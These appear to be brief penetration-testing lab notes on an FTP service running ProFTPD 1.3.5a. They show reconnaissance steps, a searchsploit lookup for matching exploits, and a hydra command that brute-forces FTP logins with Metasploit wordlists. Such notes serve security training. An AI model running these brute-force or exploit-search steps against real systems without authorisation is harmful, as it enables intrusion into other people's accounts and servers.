21/tcp open ftp ProFTPD 1.3.5a
ftp 192.209.45.3
# anonymous login failed
ls -al /usr/share/nmap/scripts | grep ftp-*
searchsploit ProFTPD
# check exploits for the specific version
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.209.45.3 -t 4 ftp